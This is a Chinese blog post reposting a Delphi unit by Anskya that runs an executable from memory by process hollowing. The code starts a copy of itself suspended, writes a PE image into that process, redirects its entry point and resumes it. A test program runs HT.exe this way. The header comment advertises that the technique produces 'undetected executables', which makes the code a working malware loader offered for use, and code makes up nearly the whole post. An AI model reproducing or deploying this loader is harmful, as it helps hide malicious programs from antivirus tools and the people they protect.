从内存中加载并运行(二)

原创 2007年10月08日 08:16:00
{
   EXE Memory Unit Two For NT,2K,XP,2K3,LH By Anskya
   Email:Anskya@Gmail.com
   Web:Www.Anskya.Net
   Date:04.08.2005
   Thank:Aphex
  
   procedure MemoryRunExe(FileMemory: Pointer);
   [
     This program creates undetected executables that only run
     on Windows NT, 2000, XP, 2003 and LongHorn.   ??
   ]
}
Unit MemoryRunUnitTwo;

interface

{$IMAGEBASE $10000000}

uses
   Windows;

type
   TSections = array [0..0] of TImageSectionHeader;

procedure MemoryRunExe(FileMemory: Pointer);

implementation

function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
   if ((Size mod Alignment) = 0) then
   begin
     Result := Size;
   end
   else
   begin
     Result := ((Size div Alignment) + 1) * Alignment;
   end;
end;

function ImageSize(Image: pointer): dword;
var
   Alignment: dword;
   ImageNtHeaders: PImageNtHeaders;
   PSections: ^TSections;
   SectionLoop: dword;
begin
   ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
   Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
   if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
   begin
     Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
   end
   else
   begin
     Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
   end;
   PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
   for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
   begin
     if PSections[SectionLoop].Misc.VirtualSize <> 0 then
     begin
       if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
       begin
         Result := Result + PSections[SectionLoop].Misc.VirtualSize;
       end
       else
       begin
         Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
       end;
     end;
   end;
end;

procedure MemoryRunExe(FileMemory: Pointer);
var
   BaseAddress, Bytes, HeaderSize, InjectSize,   SectionLoop, SectionSize: dword;
   Context: TContext;
   FileData: pointer;
   ImageNtHeaders: PImageNtHeaders;
   InjectMemory: pointer;
   ProcInfo: TProcessInformation;
   PSections: ^TSections;
   StartInfo: TStartupInfo;
begin
   ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
   InjectSize := ImageSize(FileMemory);
   GetMem(InjectMemory, InjectSize);
   try
     FileData := InjectMemory;
     HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
     PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
     for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
     begin
       if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
     end;
     CopyMemory(FileData, FileMemory, HeaderSize);
     FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
     for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
     begin
       if PSections[SectionLoop].SizeOfRawData > 0 then
       begin
         SectionSize := PSections[SectionLoop].SizeOfRawData;
         if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
         CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
         FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
       end
       else
       begin
         if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
       end;
     end;
     ZeroMemory(@StartInfo, SizeOf(StartupInfo));
     ZeroMemory(@Context, SizeOf(TContext));
     CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
     Context.ContextFlags := CONTEXT_FULL;
     GetThreadContext(ProcInfo.hThread, Context);
     ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
     VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
     WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
     Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
     SetThreadContext(ProcInfo.hThread, Context);
     ResumeThread(ProcInfo.hThread);
   finally
     FreeMemory(InjectMemory);
   end;
end;

end.

{
写了一个简单程序测试通过:)
}
program Test1;

//{$APPTYPE CONSOLE}

uses
   SysUtils,
   Classes,
   MemoryRunUnitTwo in 'MemoryRunUnitTwo.pas';

var
     ABuffer: array of byte;
     Stream: TFileStream;
     ProcessId: Cardinal;
begin
     Stream := TFileStream.Create('HT.exe', fmOpenRead);
     try
         SetLength(ABuffer, Stream.Size);
         Stream.ReadBuffer(ABuffer[0], Stream.Size);
         MemoryRunExe(@ABuffer[0]);
     finally
         Stream.Free;
     end;
end. 

从内存中加载并运行(一)

   windows似乎只提供了一种启动进程的方法:即必须从一个可执行文件中加载并启动。     而下面这段代码就是提供一种可以直接从内存中启动一个exe的变通办法。     用途嘛,  ...
  • wangyunyong0905
  • wangyunyong0905
  • 2007年10月08日 08:15
  • 456

从内存中加载并运行exe

{配合anskya的AnyWhereFileToPas效果不错}{ ******************************************************* }{ *      ...
  • 3150379
  • 3150379
  • 2008年10月02日 14:42
  • 1037

另一个从内存中加载并运行EXE

 {  EXE Memory Unit Two For NT,2K,XP,2K3,LH By Anskya  Email:Anskya@Gmail.com  Web:Www.Anskya.Net  D...
  • iiprogram
  • iiprogram
  • 2008年07月14日 12:07
  • 1085

从内存中加载并运行exe(两种方法)

windows似乎只提供了一种启动进程的方法:即必须从一个可执行文件中加载并启动。    而下面这段代码就是提供一种可以直接从内存中启动一个exe的变通办法。    用途嘛,     也许可以用...
  • aroc_lo
  • aroc_lo
  • 2010年04月03日 23:23
  • 1951

从内存中加载并运行exe (c)

  原理很简单:就是“借尸还魂”,启动一个僵尸进程(NT下可以是自身程序启动的另一个进程),然后在它运行前将其整个替换成内存中的exe内容,待正式运行后执行的就是你的目标代码了。         不过...
  • iiprogram
  • iiprogram
  • 2008年07月14日 12:09
  • 2574

Delphi中加载并运行内存中的EXE

 { ******************************************************* }{ * 从内存中加载并运行exe ...
  • aroc_lo
  • aroc_lo
  • 2009年11月26日 11:29
  • 1372

加载exe至内存运行

有时候需要将exe加载至内存运行,例如保护exe程序版权。 先上代码: #ifdef WIN32     #include #else     #error Process Forking...
  • wanm9
  • wanm9
  • 2016年08月25日 21:36
  • 560

C#中的内存管理(二)存储区域划分

首先,我们先了解一下数据在内存中的存储方式,根据变量值的生存周期,可以分为静态存储区和动态存储区。如下:...
  • luoye4321
  • luoye4321
  • 2014年06月27日 23:58
  • 1446

从内存资源中加载DLL:CMemLoadDll源码整理

头文件 /*****MemLoadDll.h*****/ #if !defined(Q_OS_LINUX) #pragma once typedef BOOL (__stdcall *Pro...
  • tianshi_1988
  • tianshi_1988
  • 2016年04月22日 18:00
  • 1055

Linux中的虚拟地址、物理地址和内存管理方式(二)

我们都知道,动态共享库里面的函数的共享的,这也是动态库的优势所在,就是节省内存。C 编译出来的可执行文件几乎都会用到libc的库,假如没有这个共享的技术,每个可执行文件都要占一份libc库的内存,这将...
  • yinjingyu_bisheng
  • yinjingyu_bisheng
  • 2013年05月18日 15:12
  • 1192
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:从内存中加载并运行(二)
举报原因:
原因补充:

(最多只允许输入30个字)